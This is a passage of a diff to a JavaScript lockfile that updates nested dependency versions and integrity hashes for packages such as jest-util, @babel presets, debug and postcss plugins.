+ "jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
+
+ "jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
+
+ "jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
"jest-validate/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-watcher/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-watcher/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
- "jest-worker/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-worker/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
- "js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
-
"jsdom/decimal.js": ["decimal.js@10.6.0", "", {}, "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg=="],
"jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
@@ -6487,23 +5993,27 @@
"jwks-rsa/@types/express": ["@types/express@4.17.21", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ=="],
- "jwks-rsa/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"jwks-rsa/jose": ["jose@4.15.5", "", {}, "sha512-jc7BFxgKPKi94uOvEmzlSWFFe2+vASyXaKUpdQKatWAESU2MWjDfFf0fdfc83CDKcA5QecabZeNLyfhe3yKNkg=="],
"katex/commander": ["commander@8.3.0", "", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="],
"keyv-file/@keyv/serialize": ["@keyv/serialize@1.0.3", "", { "dependencies": { "buffer": "^6.0.3" } }, "sha512-qnEovoOp5Np2JDGonIDL6Ayihw0RhnRh6vxPuHo4RDn1UOzwEo4AeIfpL6UGIrsceWrCMiVPgwRjbHu4vYFc3g=="],
+ "keyv-file/tslib": ["tslib@1.14.1", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="],
+
"langsmith/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"langsmith/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="],
"ldapauth-fork/lru-cache": ["lru-cache@7.18.3", "", {}, "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA=="],
- "lint-staged/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
+ "librechat-data-provider/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
- "lint-staged/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "librechat-data-provider/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
+
+ "librechat-data-provider/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+
+ "lint-staged/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
"log-update/ansi-escapes": ["ansi-escapes@7.0.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw=="],
@@ -6517,54 +6027,30 @@
"lru-memoizer/lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="],
+ "mathjs/fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
+
"mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
"mdast-util-math/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
"mdast-util-mdx-jsx/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
- "memorystore/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "mermaid/marked": ["marked@16.4.2", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-TI3V8YYWvkVf3KJe1dRkpnjs68JUPyEa5vjKrp1XEEJUAOaQc+Qj+L1qWbPd0SJuAdQkFU0h73sXXqwDYxsiDA=="],
-
- "mermaid/uuid": ["uuid@11.1.0", "", { "bin": "dist/esm/bin/uuid" }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="],
-
- "micromark/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"micromatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
"miller-rabin/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
- "mlly/acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
-
- "monaco-editor/dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="],
-
"mongodb-connection-string-url/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
- "mongodb-memory-server-core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "mongodb-memory-server-core/follow-redirects": ["follow-redirects@1.15.9", "", {}, "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ=="],
-
"mongodb-memory-server-core/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
- "mongodb-memory-server-core/yauzl": ["yauzl@3.2.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-Ow9nuGZE+qp1u4JIPvg+uCiUr7xGQWdff7JQSk5VGYTAZMDe2q8lxJ10ygv10qmSj031Ty/6FNJpLO4o1Sgc+w=="],
-
- "mquery/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "multer/mkdirp": ["mkdirp@0.5.6", "", { "dependencies": { "minimist": "^1.2.6" }, "bin": "bin/cmd.js" }, "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw=="],
"multer/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="],
- "new-find-package-json/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"node-stdlib-browser/buffer": ["buffer@5.7.1", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ=="],
"node-stdlib-browser/pkg-dir": ["pkg-dir@5.0.0", "", { "dependencies": { "find-up": "^5.0.0" } }, "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA=="],
- "node-stdlib-browser/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
-
- "nodemon/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "nodemon/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
"nodemon/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="],
@@ -6575,8 +6061,6 @@
"parse-entities/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
- "parse-json/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
"parse5/entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
"path-scurry/lru-cache": ["lru-cache@11.2.2", "", {}, "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg=="],
@@ -6589,26 +6073,18 @@
"playwright/fsevents": ["fsevents@2.3.2", "", { "os": "darwin" }, "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA=="],
- "postcss-attribute-case-insensitive/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
"postcss-colormin/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-convert-values/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "postcss-custom-selectors/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "postcss-dir-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "postcss-focus-visible/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "postcss-focus-within/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
"postcss-import/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"postcss-load-config/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
"postcss-load-config/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
+ "postcss-loader/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
+
"postcss-merge-rules/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-minify-params/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
@@ -6617,16 +6093,14 @@
"postcss-modules-scope/postcss-selector-parser": ["postcss-selector-parser@7.1.0", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA=="],
- "postcss-nesting/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
"postcss-normalize-unicode/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "postcss-pseudo-class-any-link/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+ "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.17", "", { "dependencies": { "browserslist": "^4.22.2", "caniuse-lite": "^1.0.30001578", "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", "picocolors": "^1.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": "bin/autoprefixer" }, "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg=="],
+
